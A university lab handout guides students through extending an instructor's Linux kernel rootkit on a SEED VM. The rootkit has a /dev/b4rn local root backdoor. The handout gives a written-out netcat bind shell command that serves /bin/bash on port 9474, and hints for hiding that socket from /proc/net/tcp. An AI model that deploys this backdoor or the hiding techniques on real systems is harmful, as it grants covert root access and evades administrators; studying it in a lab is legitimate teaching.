Lab 6: Kernel Rootkits
This lab will introduce you to both kernel module programming and to kernel backdoors and rootkits. You will take an existing kernel rootkit written by your instructor and extend it.
Due Date: Monday 10/02/23 before class
This lab will guide you through kernel rootkit construction. More details are in the code’s repo and below, but here is the gist. The rootkit already has the following capabilities implemented by your instructor:
- Hide the rootkit source and object files from the filesystem (
- Hide the rootkit from the kernel’s list of loaded modules (by scrubbing
- Hide a parasite library (used for optional binary exploitation/ELF poisoning lab),
libtest.so.1.0, (by scrubbing
- Creates a local backdoor to get us root by exposing a device file at
/dev/b4rn. When a user writes a special string to that file, the user will become root.
- Hiding the backdoor character device file (
Getting the Code
You’ll want to use the SEED 16.04 Ubuntu VM for this lab. In the VM, you can get the code for this lab by cloning your instructor’s repo:
git clone https://github.com/khale/kernel-rootkit-poc
Make sure to go through the
README in the repo. The SEED VM should have everything necessary to load the rootkit.
Using your own VM If you have an existing Ubuntu 16.04 VM, or want to set up your own on AWS or some other cloud provider, just make sure you
sudo apt install make build-essential.
Task 1: The code
Understand the code. You should realize that the kernel module’s entry point (
b4rn_init()) is invoked after the module is loaded by the kernel (e.g., by
modprobe). Start there and read comments carefully.
Task 2: The Backdoor
Could an attacker use the backdoor exposed by the rootkit to remotely get access? Explain why or why not.
Realize that this is a pretty rudimentary backdoor. There are certainly more stealthy ways to do this (e.g., so we don’t create an unwanted device file on the system). Can you think of any?
By the way, there have been nefarious attempts to backdoor the kernel itself, though they were unsuccessful. This isn’t limited by any means to kernel space. The NSA is suspected to have backdoored a standard altorithm widely used for encryption. Your instructor’s favorite example of a backdoor was one injected by a C compiler into the UNIX login program, devised by the UNIX man himself. Definitely worth a read.
Task 3: Hiding in Plain Sight
Explain why we must (1) use function pointers and
kallsyms_*() functions to call certain routines and (2) manipulate
cr0 and page protections to install our function overrides.
Suppose I wanted to make it very hard for a system administrator to remove my rootkit from the system. What are some things I could do to prevent that? (Hint: there is a
reboot() system call)
Task 4: Remote Backdoor
For this task you’ll be extending b4rnd00r to hide a remote backdoor (i.e., a bindshell running on the system). First run a bind shell like so:
nohup nc -nvlp 9474 -e /bin/bash >/dev/null 2>&1 &
(note, you may have to install
netcat-traditional for this to work).
This listens on port 9474, and when a client connects it will spawn a shell and send output back out over the network socket. The
nohup command prevents the netcat program from exiting after we log out of the system (which we would probably do after we’ve owned a machine and set up the backdoor). The redirection just silences output on the server side.
If you’ve got bridged networking set up for your VM, you should be able to access this bind shell as follows from your host machine:
nc <VM-IP> 9474
You can access it with NAT networking as well, but you’ll have to forward the 9474 port with your hypervisor. It’s probably just easier to use bridged networking. Other than the
nc process itself, the listening socket can be seen by an auditor pretty easily by using
$ netstat -tl Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 cato:domain 0.0.0.0:* LISTEN tcp 0 0 localhost:ipp 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9474 0.0.0.0:* LISTEN tcp6 0 0 localhost:ipp [::]:* LISTEN tcp6 0 0 [::]:9474 [::]:* LISTEN
This is no good if we’re trying to be stealthy. We can pretty much guess that this information is coming from the kernel, and almost certainly from
/proc somewhere, and that
netstat is really just sugar coating the kernel’s output. We can do some digging to find out exactly where:
$ strace netstat -tl 2>&1 | grep "^open" | grep "proc" openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3 openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
netstat is really just a wrapper around the
/proc interface. Let’s see the raw information straight from the source (the kernel):
$ cat /proc/net/tcp sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 017AA8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 34934 1 000000007060ba94 100 0 0 10 0 1: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 30174 1 00000000d07a82df 100 0 0 10 0 2: 00000000:2502 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 59441 1 000000003a4d11ec 100 0 0 10 0
You can see why
netstat exists now. This output is pretty opaque. If we realize that 9474 is actually 0x2502, however, we can pretty easily identify our bind shell. This gives us a hint on how to hide our connection then, because we really just need to scrub this output to remove that line in our rootkit. This is your task!
- You should be able to use the same
seq_filetechnique used for the maps file.
- You will likely need to include the header files
- Network sockets are also exposed in
/proc. You will focus on TCP (IPv4). You will thus need to take a look at
- You’ll want to see the
- When you override the seq file, you will need to use the
struct inet_sockstructure (which you can derive from the
vpointer in your seq handler). Given a
struct sock * sk, you will need to extract the port number from the socket structure like so:
- You don’t need to use
protect_page()like was done for the maps file.
- Make sure not to dereference the special start socket (if
v==SEQ_START_TOKEN, just pass it along to the normal seq function).
Please write your lab report according to the description. Please also list the important code snippets followed by your explanation. You will not receive credit if you simply attach code without any explanation. Upload your answers as a PDF to blackboard
Linux Kernel Module Programming Guide (Chs. 1-7)
- Intro to Linux kernel modules
- Linux VFS, proc, and root filesystems article
- Kernel documentation on seq files
- Another rootkit example
- Article on bind shells, reverse shells, etc.
- Looking back at Multics security